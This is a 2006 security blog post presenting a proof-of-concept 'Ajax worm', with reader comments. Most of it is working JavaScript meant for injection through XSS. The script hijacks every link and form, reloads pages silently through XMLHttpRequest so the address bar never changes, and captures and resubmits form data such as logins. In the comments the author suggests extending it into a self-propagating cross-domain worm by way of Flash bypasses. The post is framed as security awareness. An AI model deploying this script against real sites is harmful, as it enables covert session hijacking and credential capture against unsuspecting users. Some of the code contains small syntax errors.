Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all the user activity through itself. The idea is simply to be able to control and monitor the user activity on a website by inserting the malicious script into the visiting user's session using XSS. I have been advocating for some time now, the extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of the user as long as he is on that site and in some cases even after he has left the website. This Proof of Concept is limited to the worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in the industry. Ajax by itself may not open any new vulnerabilities but it does increase the attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, the request goes to the server and the server responds back with the response and a new page is loaded on the screen and a new url is displayed on the location bar (unless it’s a dynamic page and is submitting to itself). In either case, a user can see a browser screen getting refreshed and a new page getting loaded on the screen as the request and response were handled by the browser. With the use of Ajax, the same request and response can be handled by the application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind the scenes by the web application and the page doesn’t have to refresh like it used to in the traditional way. The url on the location bar remains the same even though we may be loading a different url altogether. Though, ajax has helped immensely with the applications trying to provide a better user experience and a rich user interface, but at the same time it has opened a world of opportunities for the bad guys. Now an attacker can do a lot more damage then it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with the help of ajax they can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with the help of ajax by inserting a script which propagates to every page you visit on that website.


When the script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to the server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All the ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of the object is XMLHttpRequest for compatibility with the web as it doesn't make much sense otherwise. It supports the transport of other data formats in addition to XML, some implementations support other protocols besides HTTP (that functionality is not covered in this specification though) and the API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in the actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all the links
This is where we capture all the links in a website. If it is an internal link then we replace it with our javascript function, so now whenever a user clicks on any of the link, browser instead of opening that page, calls the javascript function and which in turn silently communicates with the server in the background, fetches the link and loads the page in the memory and while doing so, it captures all the links and forms of the newly loaded page.

function collect_links()
{
//Collect all the link in the html page.
var all_links = document.getElementsByTagName("a");

//Go through all the links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all the links with the javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all the forms.
This is where we capture all the forms in a web page. collect_forms function does the same thing as collect_links does except for it just looks for all the forms and replaces their action attribute with its javascript function. It also inserts or replaces (if already exists) the id of the form with the actual url so that the worm script can identify them at the time of submission. As you will see in the last line here that the action attribute is replaced by the submit_form function of the worm. So now when the user will try to submit any form, instead of browser submitting the form to the server, the submit_form function will be called.

function collect_forms()
{
//Collect all the forms in the html page.
var all_forms = document.getElementsByTagName("form");

//Go through all the forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace the id of the form with the original submit url.
all_forms[i].id = all_forms[i].action;

//Replace the submit url of the page with the javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load the requested url dynamically
loadUrl function takes the url as a parameter and connects to the server and requests for that url. The server treats it as any other request it would have received from the client and sends the file with that url. Normally it is the browser who receives the file and displays it in the browser, but with Ajax it is our XHR object which receives the file and updates the client screen with the new html code, then it calls collect_links and collect_forms function to hijack the links and forms in the new html code. This way, the worm script is always in control of all the request/response made from the client browser to the server.

function loadUrl(url)
{
//Connect to the server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for the request state and status. Status = 200 means the request was successful
if(ajax_request.status == 200) {
//Load the response from the server into the document’s body. This will dynamically
change the content of the page but the url on the address bar of the browser will
remain the same. So, even though the new url is loaded, the location bar of browser
will show the url of the original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and forms in the new html page.
collect_links();
collect_forms();
}
}


//Code to create the form parameter string
This function is called when a user tries to submit a form. As all the forms are hijacked and replaced with submit_form function of the javascript, when the user clicks on submit button, this function is called with the id of the form which was already replaced at the time of hijacking. Based on that id, the script loads all the forms and its elements. It then calls the post_attacker function which submits the values to the server, captures the response and displays on the user window and hijacks any links or forms in the new html code. For the sake of this demo, when you enter a username and password on the login page and clicks on submit, then the script displays the values on the screen before calling the post_attacker function.
function submit_form(form_id)
{
//get the form element from the id.
var form = document.getElementById(form_id);

//This is where the form values are displayed when the user presses the submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All the parameters have to be in the format of name=value to be able to submit to the server.
var post_url = "";

//Iterate through every element of the form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to the server.
post_attacker(form_id, post_url);
}

//Code to submit the form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to the url.
ajax_request.open("POST", url, false);

//Set the header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send the parameters
ajax_request.send(parameters);

//Load the response from the server into the document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and the forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with the help of Ajax, which controls all the communication between the user and the server. Whatever link a user clicks on or submits a form, everything is passed through the worm script. It also has the capability to make changes to the data before it gets submitted to the server or before it gets loaded in the user browser after it is received from the server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to the same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, the implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when they do allow it, they should consider the security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at the demo of the Proof of concept, please go to http://www.attacklabs.com
To download the source code, go to http://www.attacklabs.com/download/ajax_worm.zip

6 comments:

Anonymous said...

I don't understand why you call this a worm since those typically propogate and replicate themselves through a system. I don't see that behaviour here, just hijacking.

Anurag Agarwal said...

Its just a Proof of concept so its limited in functionality. But you can extend this to autosubmit to any form. As i mentioned in the post that it is limited to one site but if you want cross domain then use FlashXHR object to create a self propagating worm who can exploit any website vulnerable to XSS

pdp said...

this is not exactly true unless the client has old version of flash player installed

Anurag Agarwal said...

hi pdp

I am a little unsure as to what is it that you are referring as "not exactly true".

Anurag Agarwal said...

i would like to thank pdp for pointing this out to me

you can use Flash to perform XML HTTP Requests with particular versions of the flash player but not in the latest. At first you have the crossdomain.xml which you need to bypass. That's easy with Amit's request injection hack but that was fixed in flash 9. Than there was another hack where attackers can install an image that part of it is in crossdomain.xml format and that again bypasses the security restrictions. However, that was fixed too. So, although many users are still affected, that wont work in the latest version of flash player.

Anonymous said...

And with anti-dns pinning?